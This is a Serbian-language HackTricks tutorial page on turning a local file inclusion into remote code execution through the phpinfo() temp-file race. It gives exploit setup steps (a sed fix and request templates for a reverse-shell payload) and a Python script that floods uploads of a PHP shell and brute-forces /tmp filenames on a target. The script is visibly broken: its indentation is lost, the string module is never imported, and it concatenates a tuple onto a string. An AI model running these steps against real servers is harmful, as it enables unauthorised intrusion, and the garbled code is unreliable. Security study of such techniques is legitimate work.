tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Da biste iskoristili ovu ranjivost, potrebni su vam: LFI ranjivost, stranica na kojoj se prikazuje phpinfo(), "file_uploads = on" i server mora moći da piše u direktorijum "/tmp".

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Morate da ispravite exploit (promenite => u =>). Da biste to uradili, možete:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Morate promeniti i payload na početku eksploata (na primer, za php-rev-shell), REQ1 (ovo treba da upućuje na phpinfo stranicu i treba da ima uključeno punjenje, tj.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), i LFIREQ (ovo treba da upućuje na LFI ranjivost, tj.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Proverite dupli "%" kada eksploatišete null char)

Teorija

Ako su uploadi dozvoljeni u PHP-u i pokušate da uploadujete fajl, ovaj fajl se čuva u privremenom direktorijumu dok server ne završi obradu zahteva, zatim se ovaj privremeni fajl briše.

Zatim, ako ste pronašli LFI ranjivost na web serveru, možete pokušati da pogodite ime privremenog fajla koji je kreiran i iskoristite RCE pristupajući privremenom fajlu pre nego što bude obrisan.

U Windows-u fajlovi se obično čuvaju u C:\Windows\temp\php

U linux-u ime fajla obično je random i nalazi se u /tmp. Pošto je ime nasumično, potrebno je izvući ime privremenog fajla iz nekog izvora i pristupiti mu pre nego što bude obrisan. To se može uraditi čitanjem vrednosti varijable $_FILES unutar sadržaja funkcije "phpconfig()".

phpinfo()

PHP koristi bafer od 4096B i kada je pun, on se šalje klijentu. Zatim klijent može slati puno velikih zahteva (koristeći velike heder-e) uploadujući php reverznu shell, čekati da prvi deo phpinfo() bude vraćen (gde je ime privremenog fajla) i pokušati da pristupi temp fajlu pre nego što php server obriše fajl eksploatišući LFI ranjivost.

Python skripta za pokušaj bruteforce-a imena (ako je dužina = 6)

python
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks